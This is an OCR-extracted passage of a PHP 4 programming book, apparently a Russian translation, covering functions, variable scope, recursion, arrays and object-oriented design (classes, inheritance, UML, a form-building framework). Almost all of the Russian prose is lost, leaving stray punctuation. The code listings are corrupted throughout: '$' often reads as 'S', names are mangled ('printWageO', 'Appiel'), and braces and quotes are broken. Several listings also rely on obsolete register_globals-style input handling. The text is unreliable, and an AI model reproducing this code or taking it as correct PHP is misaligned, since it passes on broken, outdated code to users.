echo(func_get_arg(0)); //
// :
echo(func_get_arg(1)); // b

}
argTest("a", "b", "", "d", "e");
function_exists(),
, .

http://www.php.net/manual/en/ref.funchand.php.


.
,
:
function printWageO
{
// fWage
SfWage = 30.0;
echo(SfWage); // ( )

}
SfWage = 40.0;

125

echo($fWage); // 40 ( )
printWageO; // 30 ( )
echo($fWage); // 40 ( )

() :
function printWageQ
{
// fWage
global $fWage;
$fWage = 30.0; //
echo($fWage);

}
SfWage = 40.0;
echo($fWage); // 40
printWageO;
// 30
echo(SfWage); //' 30
$GLOBALS. , . :
function printWageO
{
// fWage
$GLOBALS["fWage"] = 30.0; //
echo($GLOBALS["fWage"]);

}
SfWage = 40.0;
echo(lfWage);.// ,40
printWageO; // 30
echo(SfWage); // 30

.
, ,
. , , , .
.

126

4.


. 1:
function counterQ
{
//
SiCounter = 0;
return ++$iCounter;
static.
:
function counter()
{
//
static SiCounter = 0;
return ++$iCounter;

$i Counter
. SiCounter
, . ,
. , , .

. , . ,
, . ,
,
, .
,
'-1':
function power($iBase, SiExponent)
{
// iBase iExponent

127

if (SiExponent) {
:
return $iBase * power($iBase, $iExponent - 1);
). ,.
. '
return 1;

5 3, 5 (5 2). 5 2 5
(5 1) . ., . :
function power($iBase, SiExponent)
<

.'

,1

.^-

,-'.':;4

// iBase iExponent

.:

for (SiAnswer = 1; $iExponent > 0; --$iExponent) {


SiAnswer *= SiBase;

'}

:-.' !

.;;

return SiAnswer;

, ,
, , , . SiExponent.


. , - ,
:
switch (SsClientType) {
case "PC":
$output_function = "print_XHTML";
break;

: ^

case "Mobile":
$output_f unction = "print_WML";
break;
default:
$output_function = "print_text";
break;
}
.,; ; " ; .,',' ' ' ' :
7/ :
$output_function( "Welcome" );

;:

-'" :

...."

128

4.


, , .
,
,
, , .
,
. - , , .
, , :
<?php

//
if (isset($name)) {

//
if ($action == "Create") {
// INSERT
} elseif (Section == "Display") {
// SELECT

//
echo(. .,-);
,
. , , . , , ,
. , -
.
, , . main( ),
. -

129

, Saction submit - ( submit name="action"):


<?php

// maintain.data.pnp
function validateDataO
{
//
} // validateDataO
function createRecord()
{
//
} // createRecord()
function deleteRecord()
{
//
} // deleteRecordO
function getDataO
{
//
} // getDataO
function displayMenu()
{
// XHTML
<form action="maintain.data.php" ...
} // displayMenu()
function displayfiesultsO
{
// XHTML
} // displayResultsO
function displayDataO
{
// XHTML

5 . 989

130

4.
} // displayDataO
function main()
{

//
if (! validateDataO) {

switch ($action) {
// ;
case "":..'
:
// submit
//
displayMenuO;
break;
case "Create":
SbSuccess = creatRecordO;
displayResults($bSuccess);
break;
case "Delete":
SbSuccess = deleteRecordQ;
displayResults($bSuccess);
break;
case "View" :
$aData = getDataO;
displayOata($aData) ;
break;

} // main()
/********/
// main()
main();

. . ,
, , , , ,
. , ,
$1 .
, , ,
. -

131

. , ( ). header().
HTTP .
headerQ ,
- . ( ), (X)HTML, : , header(),
. main(), , - .
, . . ,
, displayXxx().
m a i n ( ) , , , . ,
. Saction , , , submit. Saction "View", , View.

, ( Python). ,
/ ,
. . , ,
,
:
function isIntInRange($mVal, SiLow, $iHigh)
{
// True, mVal - iLow iHigh

: - /*
:

Christopher Scollo scollo@taurix.com


To do: , iLow iHigh int

*/

} // IsIntlnRangeO

132

4.

- , . , .
().
.
, . . ,
1, . . , .
, , .


.
, . SaLanguages
. , , 1 2:
$aLanguages[] = "Arabic";
$aLanguages[] = "German";
: $aLanguages[] = "Korean";

echo($aLanguages[2]);

// "Korean"

, :
$aLanguages[0] = "Arabic";
$aLanguages[1] = "German";
$aLanguages[2] = "Korean";
echo($aLanguages[2]);

// "Korean"

.
100, 400* 300 401:
$aLanguages[100] = "Arabic"
$aLanguages[400] = "German"
$aLanguages[300] = "Korean"
$aLanguages[] = "Tagalog";
echo($aLanguages[300]); // "Korean"
echo($al_anguages[401]); // Prints "Tagalog"
,

: 401.

133

ray () .
a r r a y () ,
:
SaLanguages = arrayC'Arabic", "German", "Korean", "Tagalog");
echo($aLanguages[2]); // "Korean"
, , . ( ) =>:
SaLanguages = arrayC'Arabic", 3 => "German", "Korean", "Tagalog");
echo($aLanguages[0]);
echo($aLanguages[3]);
echo($ai_anguages[4]);
echo($aLanguages[5]);

// "Arabic"
// "German"
// "Korean"
// "Tagalog"

, :
SaLanguages
"ar" =>
"de" =>
"tl" =>
);

= array(
"Arabic",
"German",
"Tagalog"

echo($aLanguages["tl"]); // "Tagalog"
$aLanguages["ko"] = "Korean";
echo($alanguages["ko"]); // "Korean"



each list while. 4 f reach, Perl. :
foreach (array as [$key =>] $value) {
statements
foreach . $key , $value - . ; :
foreach (laLanguages as $sldx -> $sVal) {
echo("$sldx is $sVal <br />");

134

4. PHP

, foreach,
, .
$key , $value SsLang:
echo(
"Available Languages: <br />\n" .

foreach (SaLanguages as $sLang) {


echo( "<li>$sLang</H>\n" ) ;
}
echo("</ul>\n");


PHP , . . http://www.php.net/manual/en/ref.array.php.

countQ
int count(mixed var)
count() .
, .

in_array()
boolean in_array(mixed needle, array haystack [, bool strict])
haystack needle t rue,
, false .

reset()
mixed reset(array array)

PHP
. , foreach, , foreach .
, prev() next(),
.
, array_walk(),
, .
reset ( ) . :

135

// :
reset($aLanguages);
// my_function :
array_walk($aLanguages, "my_function");
array_walk()
.

sort()
void sort(array array [, int sort_flags])

. sort_flags ,
. SORT_REGULAR, SORT_NUMERIC, , SORT_STRING, .
,
sort(). - , , ,
. n o a r s o r t ( ) , asort(), ksort(), natsortO, natcasesort(), rsortQ, u s o r t ( ) , a r r a y _ m u l t i s o r t ( ) uksort().

explode() implode()
, . explode() ,
, , , implode()
:
, :
// , - :
SsLangSt ring = imploded ', SaLanguages);
echo($sLangString);
SsSentence = 'Never ruin an apology with an excuse';
// :
SaWords = explode(' ', SsSentence);


. $GLOBALS, . ;
$HTTP_POST_VARS, $HTTP_GET_VARS $HTTP_COOKIE_VARS , -

136

4.

HTTP POST, HTTP GET cookies, .


, (, , . .).
,
ray ( ):
lalanguages = (
"Slavic" => arrayC'Russian", "Polish", "Slovenian"),
"Germanic" => array( "Swedish", "Dutch", "English"),
"Romance" => arrayC'Italian", "Spanish", "Romanian")

,
, . , SaLanguaged[ "Germanic"] , ,
$aLanguages["Germanic"][2] ("English") .
:
foreach ($aLanguages as $sKey => SaFamily) {
// :
echo(
"<h2>$sKey</h2>\n" .
"<ul>\n" // Start the list
);
// :
foreach (SaFamily as SsLanguage) {
echo( "\t<H>$sLanguage</li>\n" ) ;

; ; : ..v

// :
echo("</ul>\n");
$sKey , SaFamily - . $aFamily, $sLanguage.
(. 4.1).

137
iN hHp://localhost/ProPHP4,'Chapter04/mutt(Array.pho ;ile Edit Search go Bookmarks Jaste Help

. 4 , GE

J ^

Slavic
Russian
Polish
Slovenian

Germanic
Swedish
Dutch
English

Romance
Italian
Spanish
Romanian

Puc. 4,1.

,
-:
if switch
.
while, do . . . w h i l e f o r
. f o r e a c h
.
, . .
, .

5
-

- () . Smalltalk C++,
, Java Python.
, ,
. , .
4 . .
, , -. , . , ,
. , , .

. .
.

139

,
. ,
, -, .
.
,
. , ,
, .
, , ,
Fortran. ,
,
.
, ,
, (Alan
Kay) Smalltalk (Grady Booch),
,
, - .
,
(framework).
, ,
,
, , . .
, .
.

- -
. ,
, - . , , .

, (extreme Programming) (Unified Process). , , .

140

5. -

, . , Java,
, -
, - API.


-
?
, , (code-centric). . ,
. , (data-centric). ,
, , .
- ( ), ( ). , , , . (. 5.1):
Functional Program (Code Centric)
input

-* a(

Call
'

Return
Return

Object Oriented Program (Data Centric)

1 I)
Call
:( )

output
. 5.1. -

( ) , ()
(). () () (). () ( ) ,
(). ()
. ( )
main. - , , Object 1
Object 3. Object 3, ,
Object 4, , Object 1 Object 3
.
, , ,
, . . , -

141

, . ,
, . , , .
, , , .
- .
, , , . ,
, . - , ,
. , .


, -
, . . . ,
C++ Java - , , , C++ Java
,
.
- , .
. , , , , - .
, .


, , ,
. , .
- ,
, -

142

5. -

, .
, . , , .
, ,
, . , , . ,
.
, - .
- , .

- .
, . ,
class .
, , . , , , .
, , .
: (
), . - , .
. , , . - , , . ,
, .
- .
. , ,
, , . . , ,
. ,
, .
, ,
.

143

, ,
,
. , .
. .
- , .
, ,
, , . . , , .
.
, .
,
:
class ClassName [extends ParentclassName]

var $member1;
var $member2;
var $memberN;
//
function ClassNameO

function raethod1()

function method2()

function methodNO

, ()
(). , , ,
. ,

5. -

144

,
.
,
. , ,
, ,
.
,
. , , . .
. class . ,
.
. . , , ,
. php. . , , .
.
, -, .

include_once() require_once().

<?php
//Car. php
class Car
(engine) , . , ,
, , ,
:
var $engine;
var SrequiredKey;
,
. , start () stop( ) .
, -
,
.

145

,
$this->. Java C++,
. , . ,
( , , ).
. ,
, . .
. $this , (
). $this, . , , , .
,
, - ,
.
start ( ) , .
, :
//
function Car()

<

$this->requiredKey = new DefaultKeyO;


$this->engine = new EngineO;

. $
function start(Skey)

<

if ($key->equals($this->requiredKey)) {
$this->engine->start();
return true;
}
return : false;

stop( ) . , , , . , stop() engine,


.
, . , :
function stop()

,' .:.

146

5. -
if ($this->engine->isRunning()) {
$this->engine->stop( ) ;

// ... , , . .

}
?>

..'

' ' . . " . '

:.;:,',; ' '

: :

. . , ' . ; ' '

'

, .

(instance) . , , , ( ) ,
. ,
:
<?php
$1 = new ();
$2 .=- new Car();
, . . , new. $1 $2 . , . ,
:
$cars = arrayO;
for ($i = 0; $i < 10; $i++) {
$cars[$i] = new Car();
>

, start ( ):
$carHasStarted = $car1->start($myKey);
if (ScarHasStarted) echo("Car has started.");
, :
$car1->stop();
, .
, . ,
. , -

147

, .
, . -.


new,
.
(factories), , ,
(factory methods). . , ,
General Motors, , . , ,
-. :

FormControlFactory
(, , ,
. .), HTML, eXtremePHP ( http://
www.extremephp.org/);

,

.

,
TextField SubmitButton ( eXtremePHP)
FormControlFactory.
, , ,
. TextField. php TextField, a SubmitButton. php SubmitButton. ,
:

<?php

include_once("./TextField.php");
include_once("./SubmitButton,php");
,
Factory. -
, , :
// FormControlFactory.php
class FormControlFactory

( - ' . ;': : .

:'

'-"'" , ,. ' . ' ".

';

,- :.

148

5. -

createTextFieldQ.
TextField, $name
$value:
function createTextField($name, $value)
{
return new TextField($name, $value);

createSubmitButton( ) . create , , .
,
:
function createSubmitButton($name, lvalue)
{
return new SubmitButton($name, lvalue);

TextField SubmitButton new FormControlFactory:


SformControlFactory = new FormControlFactoryO;
IfirstNameField =
$formControlFactory->createTextField('firstname' , 'Ken');
SlastNameField =
$formControlFactory->createTextField( 'lastname' , 'Egervari' );
SsubmitButton =
$formControlFactory->createSubmitButton( 'submit' , 'Submit Name' );

FormControlFactory . createTextFieldO
, . Submit Name.
, .
, , -.
. , , ,
,
.
. .

149

, , , ,
. , .
,
. ,
,
. , , - .
.
, . .
, ,
.
, , -, .

, .
, ,
, .
, , , setSpeed($speed), ,
200 / 0 /. ,
, :
$myKey = new Key('Key of my Porsche1);
$car = new Car();
$car->engine = new EngineO;
$car->speed = 400;
$car->start($myKey);
$car->engine = 0;
$car->stop();
, , , , , . $requiredKey $, .
, ,
. ,
. ,
, Engine. $car->Engine = new EngineO ( Engine)? ,

5. -

150

.
, , , . :
$car->speed = 400; // , $car->setSpeed(400);
$car->start($myKey);
, 400 /.
. ,
.
, , ,
? ,
( 0), . , $key, .
, , ,
. , , ,
Engine 0:
$car->engine = 0;
$car->stop();

stop() ,
Engine , . . 0.
, . ,
, , , , .
?
( ) :
,
, ;
- ( )
:
, ;
;
, ;

;
. . .

151

: ,
, , .
, .
, . ,
.

- ,
, ,
.
, -
amazon.com. , -, , VHS DVD, .

(. 5.2):

. 5.2.

, , , - ,
(. 5.3).

Serial No
Artist
Number of tracks
Track names

Software
Serial No
Publisher
Platform
Requirements

Movie
Serial No
Minutes
Director
Cast
Type (dvd/vhs)

Book
ISBN
Author
Number of pages

. 5..
, ,
, :
<?php
// 2
Smedialtems = arrayO;
$books
= arrayO;
$cds
= arrayO;

152

5. -

$item->id
= 1;
$item->type
= "book";
$item->name
= "Professional PHP 4";
$item->inStock = 33;
$item->price = 49.95;
$item->rating =5;
$medialtems[] = $item;
$book->isbn
=1246534343443;
$book->author
= "Ken Egervari, et. al. ";
$book->numberOfPages = 500;
$books[$item->id] = $book;
$item->id
= 2;
$item->type
= "cd";
$item->name
= "This Way";
$item->inStock = 120;
$item->price = 16.95;
$item->rating = 4;
$medialtems[] = $item;
$cd->serialNo
=323254354;
,$cd->artist
= "Jewel";
$cd->numberOfTracks = 13;
$cds[$item->id] = $cd;
// ,
foreach (Smedialtems as $item) {
.., echo("Naitie: " . $item->name . "<br>");
echoC'Items in stock: " . $item->inStock . "<br>");
echo("Price: " . $item->price . "<br>");
echo("Rating: " . $item->rating . "<br>");
switch ($item->type) {
case 'cd' :
echoC'Serial No: " . $cds[$item->id]->serialNo . "<br>");
echo("Artist: " . $cds[$iteni->id]->artist . "<br>");
echo("# of Tracks: " . $cds[$item->id]->numberOfTracks . "<br>");
break;
case 'software' :
// ,
break;
case 'movie' :
// ,
break;
case 'book' :
// ,
break;

153

? , case switch, , ( ). ,
,
, . switch.
, - media. , , , .
( ), , . Media:
<?php
define("MIGRATING", 0);
define("MAX_RATING", 5);

// Media.php
class Media
{
var $id;
var $name;
var SinStock;
var Sprice;
var $ratlng; .
function Media($id, $name, SinStock, $price, Srating)

: :','"-: { :
:

if (SinStock < 0) $inStock = 0;


if (Sprice < 0) $price = 0;
if (Srating < MIGRATING) Srating = MIGRATING;
if (Irating > MAX_RATING) $rating = MAX_RATING;
$this->id = Sid;
$this->name = Sname;
$this->inStock = SinStock;
$this->price = Sprice;
$this->rating = Srating;

}
function buy()
{
$tnis->inS1tock--;

^.'.' ' '

function displayO
{
echo("Name: '" . $this->name . "<br>");
echoC'Items in stock: " . $this->inStock . "<br>");
echo("Price: " . $this->price . "<br>");

154

5. -
echo("Rating: " . $this->rating . "
}

//

,
extends, Media,
- ,
, . ,
, , .
Book Media. .
- , ,
, type Media, switch. type
, .

<?php
// Book.php
class Book extends Media
{
var $isbn;

var Sauthor;
var SnumberOfPages;
function Book($id, $name, $inStock, $price, Srating,
$isbn, $author, SnumberOfPages)
{

// , ,

// ,

$this->Media($id, $name, $inStock, $price, Srating);


$this->isbn = $isbn;
$this->author = Sauthor;
$this->numberOfPages = SnumberOfPages;
}
function displayO
{
Media: : displayO;

echoC'ISBN: " . $this->isbn. "<br>").;


echoC'Author: " , $this->author. "<br>");
echo("Number of Pages: " . $this->numberOfPages. "<br>");
I '

>
//

155

Book Media, Media. book, - Media() - . ,


, . , $inStock 0, $price . Media, ,
,
.
display() Book.
, Book. Media ( , ), $isbn, Sauthor
SnumberOfPages. displayO (overrides)
display() Media.
,
Media, ,
. ,
Book Cd:
$book = new Book(0, 'PHP Programming', 23, 59.99, 4,
'124-4333-4443', 'Ken Egervari', 1024);
$book->display();
$cd = new Cd(1, 'Positive Edge', 1911, 16,99, 5,
'Ken Egervari', 10, StrackNamesArray);
$cd->display();
, ,
. display()
, , . .
, ?
, , , , , .


, ::,
.
.
:
ClassName::functionName();

156

5. -

f unctionName()
ClassName. , .
Book display() - :
Media::display();

d i s p l a y ( ) Media. Book ( , Cd, Movie Software) Media, displayO . Media,


Book echo .
ClassName ,
. ,
, - ClassName . . , .
Math, f 1(), ceil(), m i n ( )
max(). , , ,
. :
$ = floor(1.56);

Math:
$ = M a t h : : f l o o r ( 1 . 5 6 ) ;
, ,
,
. - , .
,
,
.


, .
,
. , . , , .
- .

157

( , Book, Cd Movie) , ,
. ,
, .

- - , . ,
,
.
, .
- ,

, , -. - . .
if switch. .
, ,
, .
, .
. , display( )
, ,
. :

<?php
Smedialtems = array(new Book(...), new Cd(...), new Book(...), new Cd(...)).;
foreach (Smedialtems as $item) {
$item->display();
echo("<br><br>");
,
- CD, , . , , display ( ). , , .
,
. , , . , -

158

5. -

ConsoleGame. Media
ConsoleGame $medialtems, :
$medialtems[] = new ConsoleGame(...);
foreach ($medialtems as $item) {
$ltem->display();
echo("<br><br>");

ConsoleGame. , f o r e a c h . . . ,
.
, ,
.
, , .


, , .
, ,
. ( ), .
,
,
. , .
-
, . . ,
, , .
, ,
. - , ,
. , , ,
Employee:

<?
// Employee. php
class Employee
{
var SfirstName;
var SlastName; :

159

. :

function Employee($firstNaffle, SlastName) -'.'


{
$this->firstName = SfirstName;
$this->lastName = llastName;
}
function getFirstNameO {
return $this->firstName;

;: ' .; ' " .

function getLastNameO {
return $this->lastName;
> ;
//
function getWeeklyEarningsQ {}

,-:f;

Employee getWeeklyEarnings( ), , . ,
, .
, , , -. , , :
<?php
requi re_once( "Employee . php" );
// Manager. php
class Manager extends Employee
{
var $salary;
function Manager($firstName, SlastName, $salary)
<
Employee: :Employee($firstName, $lastName);
$this->setSalary($salary)

;
". ' : '^

>

function setSalary($salary)
{
if (Ssalary < 0) Ssalary = 0;
$this->salary = $salary;

160

5. -
function getWeeklyEarningsQ
{
return $this->salary;

, getWeeklyEarnings()
Employee, , .
getWeeklyEarningsO
Salary.
, , . SalesManager, :
<?
require_once("Manager. php");
define("DEFAULT_COMMISSION", . 15);
// SalesManager. php
class SalesManager extends Manager
{
var Ssalary;
var Scommission; // 0 1,
var SamountSold; //
function SalesManager($firstName, $lastName, Ssalary,
Scommission, SamountSold) '.
{
Manager: :Manager($firstName, $lastName, Ssalary);
$thls->setCommission( Scommission);
$this->setAmountSold($amountSold);
}
function setCommission($cofflmission)
{
if (Scommission < 0 || $commission > 1)
Scommission = DEFAULT_COMMISSION;
$this->coimiission = Scommission;

>
function setAmountSold($amountSold)
{
if (SamountSold < 0) $amountSold = 0;

$this->amountSold = SamountSold;

function getWeeklyEarningsO

161

return Manager: :getWeeklyEarningsO +


($this->commission * $this>amountSold);

SalesManager Manager , $commission SamountSold. , ,


, - ,
. getWeeklyEarnings( ), , .
, . getWeeklyEarningsQ, :
function getWeeklyEarnings( )
{
return $this->hoursWorked * $this->amountPerHour;

, Employee
getWeeklyEarnings( ), . .


, , , , ,
.
(cohesion) (coupling).
,
.
, , ?
,
, . - . - (God classes),
. , , ,
,
-. , , , JavaScript :
6 . 989

5. -

162

class FormEngine {
var $forms;
var $formElements;
var $formStyles;
var $form;
:

function createFormO {}
function addFormElement($form, $name, $value, Sproperties) {}
function validateForm($form) {}
function validateFormElement($formElement) {}
function getJavaScriptFormCode($formElements) {}
function getJavaScriptFormElementCode($forinElement) {}
function displayForm($form) {}
function displayFormElement($formElement) {>
function setStyleToForm($form) {}

, ,
, .
switch, , , , , . .
switch .
, - , - ? .
,
- . . , .
, ,
. ,
, .
, . ,
,
, . (coupling).
- ,
.
, , (strong coupling).

. (. 5.4).

. 5.4.

UML

, . , - . D
, , .
, , D. D
,
, . , ,
, (. 5.5).

163

. 5.5.

D X, . , X - , . ,
D ; , . - , - . , , . ,
.
, , , .

UML
. ,
(Unified Modeling Language - UML), , , . Object Management Group (http://www.omg.org/) . .
UML ,
. ,
.
,
-. UML, (class diagram) .

164

5. -

UML ,
,
, .
UML (. 5.6).

. , .

. 5.6. UML

- ,
.
, , ,
,
. . UML,

(. 5.7).
,
2 1. (containment).
(. 5.8).

. 5.7. ,

Key
Equals!)

Car
startf)
stopO
setspeedf)

' I'''

'

Engine
Start))
Stop()
IsRunningO

. 5.8.

, Key Engine. , , , .
,
, .
, , , .
,
,

. ,

CDPlayer() (. 5.9).

start()
start)
setSpeed()
createCdPlayer

CD Player
play()
start)
pause()

. 5.9. CDPlayer

CD-,
- .
, CDPlayer -

UML

165

( ), createCdPlayer() . Engine RequiredKey , createEngine() ateRequiredKey(). .



, . ,
Date (timestamps) UNIX.
(. 5.10).

. 5.10. Date

, Media
, buy()
.
displayMedia()
display!)
1
, CD, . CD
Book
Software
Movie
display!)
display!) c display!)
display!)
Media ,
. 5.11. UML- -

, . , Cd, Book Media,
,
, .
UML- (. 5.11).
,
Media. ,
UML-.
, ,
display() .
. , , , Movie
VHS OVD, .
, , , .

,
. -

166

5. -

,
.
, . . , , , .
- ,
.
, , DataValioator
Form
,
add()
addElement()
validated
addButton()
, : .
, . getErrorMessagef)
validate!)
isMatch()
display!)
setStyleO

getErrorMessagef)
. , . 5.12.

, . UML
(. 5.12), .
DataValidator Form , Form. ? , , . . DataValidator,
, .

Form -, , JavaScript, , .
, Form.
, Form
DataValidator, DataValidator , Form.
DataValidator Form,
. : . ,

. .
, DataValidator. , addElement(), ,
DataValidator:
/*

,
validator

UML

167

function addElefflent($element)
'' .
$this->formElements[] = Selement;
// VALIDATOR

$needsValidation = isset($element->regularExpression) &&


i sset ( $el emenie r ro rMessage ) ;
if (SneedsValidation) {
$this->validator->add($element->value,
$element->regularExpression,
$element->errorMessage" ) ;

addElement() ,
. Form, $validator. ,
validator:
/t

__________________________

. _______ ' ______ ; _______________________________

. true,
, false.

------------------------------ -------------- .-- : ----- -

function validate(Selement)
{.
return $this->validator->validate();

validate( ) DataValidator. , :
/*

;";

, :validate().
, yalidateO false.
___________ .____ ______________________ .._ _____ '. _________________________ .*/ '
function getErrorMessageO
{
return $this->validator~>getErrorMessage();
>

" .

'

<

:,:..:;

validator, Form
Form.
, , ,
, .

168

5. -


, , .
, . , :
class Point
{
var $x;
var $y;
var $color;:

function Point($x, $y) {$this->setX($x); $this->setY($y); }


function setX($x) {$this->x = $x; }
function setY($y) {$this->y = $y; }
function setColor($color) {$this->color = $color; }
function getX() {return $this->x; >
function getY() {return $this->y; }
function getColqr(-) {return $this->color; }
function draw() {...}
, ,
, :
$point = new Point(100, 40);
$point->draw();
$x = $point->getX();
$x += 32;
$y = $point->getY();
$y += 96;
$point->setX($x);
$point->setY($y);
$point->draw{);

He , ?
, .
?
, $ = $ + 32,
? ?
, . :

169

class Point
{
var$x;
var $y;
var $color;

..:...

function Poin.t($x = 0, $y = 0)
{

$this->moveTo($x, $y);

".":
function moveTo($x, $y)
',.'''. ; "' ;. .
$this->x = $x;
: : : :$this->y = $y;
'::':" u):J : : ' :
'"'" ^f., "
;L function transposeX($amount)
;'V:. ( '

" '' ^^ ;:

$this->x += Samount;

':':':'> '";

function transposeY($amount)
{
$this->y += Samount;
}
function transpose($xAmount, SyAmount)
^''
$this->transposeX($xAmount) ;
$this->transposeY($yAmount);
. .::' >
function setColor($color)
{$this->color = $color;}
;
s ; function draw() {...} /
, . , :
$point = new Point(100, 40);
$point->transpose(32, 96);
$point->draw();

, , . , ,
.

170

5. -


,
, .
.

get_class()
string get_class(object obj)

get_class(), . , . , , , User, ,
:
function authorize($user)

assert(get_class($user) == 'user');
if ($user->department == $this->requiredDepartment) {
return true;

return false;

;),; . :;,,

, , , is_obj e c t ( ) .
, .
, ,

. get_class()
user, User. User
(assertion error).

get_parent_class()
string get_parent_class(object obj)

.
- , . , , . :
function displayAUQ
{
foreach ($this->items as $item) {

PHP

171

assert(get_parent_class($item) == 'Item');
$item->display();
> ' "
return false;

, Item, . ,
Item.
, .
.


, . , , .



(. ),
. ? ,
( ). ,
.
? -, ,

, . - , ,
, .
, Java, ,
.
, ,
, .
Apple , Apple, :
<?php
// Apple.php
class Apple
<
; var $isEaten;

172

5. -

Apple , ,
$numberOf Apples,
, , , Apple:
function Appiel)
{
global SnurnberOfApples;
$numberOfApples++;

. $ttiis->isEaten = false;
eat( ) SnumberOf Apples:
: function eat()

. '

: < > " " I..

if (!$this->isEaten()) {
global $nufflbe,rpf Apples;
M SnumberOf Apples--;
$this->isEaten = true;

function isEaten()

{ '.return
. .,:$this->isEaten;
i. :; ,
'

'

'

, ,
.
. , count (),
Apple, :
//
function count ()

., .;,;.

global SnumberOf Apples;


return SnumberOf Apples;

$a1 = new Apple(); // SnumberOfApples 1


$a2 = new AppleO; // SnumberOf Apples 2
$a3 = new AppleO; // $numberOfApples 3
echo(Apple: :count{) . "<br>"); // outputs 3
$a1->eat(); // $numberOfApples 2
$a2->eat(); // $numberOfApples 1

173

$4 = new Apple();// InumberOfApples 2


echo(Apple::count() . "<br>"); // 2

,
.

3, 2, .
, :
,
, ,
.
,
, ,
.
,
.

.


,
- ,
- , , . ; , , .


-
. ,
Engineer Manager, EngineeringManager, .

extends. , , C++ Python, .
, . ,
, , . , ,
- .

174

5. -

EngineeringManager Manager
Engineer. Manager:

<?
// manager, php
class Manager
{
var $firstName, SlastName;
function Manager($firstName, SlastName)
.{
$this->firstName = SfirstName;
$this->lastName = SlastName;
}
function bossAround($ernployee)
';-

: ..'I

// . ,
}
function payEmployee($employee)
{
// . .

. , , :

<?
// engineer. php
class Engineer
{
var $firstName, SlastName;
function Engineer($firstName, SlastName, SengineerType)
{
:
$this->firstName = SfirstName;
$this->lastName = SlastName;
}
function designProject($project)
{
// . .
} .
function getEngineerTypeO
{
return $this->engineerType;
}
'} :,.;

: -^'V

PHP

175

Engineer .
, ,
, . / :

<?php
class EngineeringManager extends Manager
{
var $engineer;

EngineeringManager- Manager,
. Engineer, EngineeringManager :
function EngineeringManager($firstName, $lastName, $engineerType)
{
. ;
Manager: :Manager($firstName, $lastName);
:.v.

>

$this->engineer = new Engineer($firstName, SlastName, SengineerType);


''v:-;,<

function designProject($project)
>;-;-'<
.'. ' ' :''. " . ^
$this->engineer->designProject($project);
1 .

,:''V. ..;".' .,:,.

function getngineerType()
' < . '
return $this->engineer->getEngineerType();

$engineeringManager =
new EngineeringManager('Ken' , 'Egervari', 'Mechanical');

, EngineeringManager Engineer. designProjectO Sengineer:


function designProject($project)
{
$this->engineer->designProject($project);
}. ;':;.

getEngineerType( ):
function getEngineerTypeO
''
'

'

'

176

5. -
return $this->engineer->getEngineerType(); :

EngineeringManager
. ,
, , , ,
. , ,
.
, , , , , .

-
,
-. , ,
. , . :

,

,

(JavaScript) ,
,

, , ,

,

, ,

,
. , ,
. , .
, Form, .

177

, , ( JavaScript),
, .
, .
FormElement, , . ,
, , ,
. FormElement ,
, , JavaScript.
(. 5.13):
Form
addBementO
addButton()
validate!)
display!)
setStyteQ
getErrarMessageO

FbrmBement
displayForm Bement()
display!)
getParameterHtmlQ

. 5.13.

, , . , ,
. ,
, Form. ,
add Element () addButton(), . , .
a d d ( ) ComboBox MultiComboBox.
( ),
. , d i s p l a y ( ) FormElement . -

5. -

178

select option, -
. (. 5.14):
Form
addBementO
addButtonO
validated
display!)
generateJavaScriptO
setStyleO
getbrorMessageO


::

'

FormButton
displayFormButtonO
displayO

|1
|
SubmitButton |
DateReld

. 5.14.

, ?
FormStyle, . HTML. , , .
(decorators) , . , , , .
.
decorator . HTML . , , , .
UML-,
(. 5.15):
FormStyle
displayForniHeaderO
displayForm Footer!)
displayBementHeaderO
displayElementFooter!)
displayButtonHeader!)
displayButtonFooterO

Form
addElement!)
addButtonO
validated
displayO
generateJavaScriptO
setStyte!)
getErrorMessaged

DefaultStyle

' ,'

PositiveEdgeStyle

ExtraNetStyle

. 5.15. UML-

179

FormStyle . DefaultStyle , Form . . ,


:

$form->setStyle(new ExtraNetStyleO);
$form->display();
, , - , :
$forra->setStyle(new NewStyleO);
$form->display();

.
, ,
. , .
(. 5.16):
Form
addBementO
addButtonO
validated
display!)
generateJavaScriptO
setStylef)
getErrorMessaged

DataValidator
add()
validate))
getError Messaged
isMatchQ

1. ,

. 5.16.
FormEngine, . FormEngine JavaScript .
, . (. 5.17):
Form Engine
create))
displayJavaScriptUbraryCoded

Form
addBementd
addButtond
validated
display!)
generateJavaScriptO
setStyled
getErrorMessageQ

. 5.17. ,

180

5. -

, FormEngine,
, ,
JavaScript.
.
. , , , :
SformEngine = new FormEngineO;
$form = $formEngine~>create("form", "Form Name", $PHP_SELF,:: "post");
$form->addElement(new FormHeader('General Information'));
.
$form->addElement(new
TextField('name', '", 'Name', ALPHA,
:
"You have failed to enter your name", true));
$form->addElement(new HiddenField('userID', '1'));
$form->addElement(new PasswordFieldCpassword', ", 'Password',
PASSWORD,
"You have failed to choose a password larger than 4 characters",
true));
$form->addElement(new TextField('email', "', 'Email Address', EMAIL,
"You have entered your email address incorrectly",; true));
$form->addElement(
new TextArea('description', "', 'Description', ALPHANUMERIC,
"You have failed to enter any description about yourself",
false, arrayC'rows" => 10, "cols" => 40,)));
$form->addElement(new DateFieldCstartdate', ", 'Start Date',
false));
$form->addElement(new:FileBrowser('file', 'File',: false));
Scombo = new ComboBox('wagetype', 'S', 'Wage Type', true);
$combo->add('Hourly', 'H');
$corobo->add('Salary', 'S');
$form->addElement(Scombo);
Scombo = new MultiQomboBoxCposition', Sposition, 'Position', false);
$combo->add('Planner', 'P');
$combo->add('Manager', 'M');
$combo->add('Engineer', 'E');
$combo->add('Analyst', 'A');
$form->addElement(Scombo);
$form->addButton(new SubmitButtonCsubmit', 'Submit'));
$form->addButton(new ResetButtonCreset', 'Reset'));
if (Ssubmit == 'Submit') {
SisValid = $form->validate();
if (SisValid) {
echo("everything okay");

181
//
} else {
echo($form->getErrorMessage());
$form->display();

$formEngine->displayJavascriptLibraryCode();
echo($form->generateJavaScriptGode());

>
} else {
$formEngine->displayJavascriptLlbraryCode();
$form->display();
echo($form->generateJavaScriptCode());

, ? ? : .
,
, - . ,
. , , , , .

,
- . , ,
,
,
. , , ,
-
.
, - - .
, ,
, ,
PHP new. ,
. ,
, .
, . ,
,
. -

182

5. -

, . , .
, , (cohesion) (coupling).
, -
. , . ,
, .
UML. , UML
. , .

, , .
, , .
, , .
, ,
, UML.

, .
. ,
,
, .
, .
, , , . :

:






:




:
HTTP telnet
(snoop servers)

184

phpCodesite
BODY Zend IDE
phpUnit


, ,
,
, ,
, .
, , , . , :




.



. .
4. , , , 4 .

. ,
, . :
<?php
//Simple_Leap.php
if ($year % 4) {
//
echo( "February has 28 days");
} else {
echo( "February has 29 days');

, $
, .

185

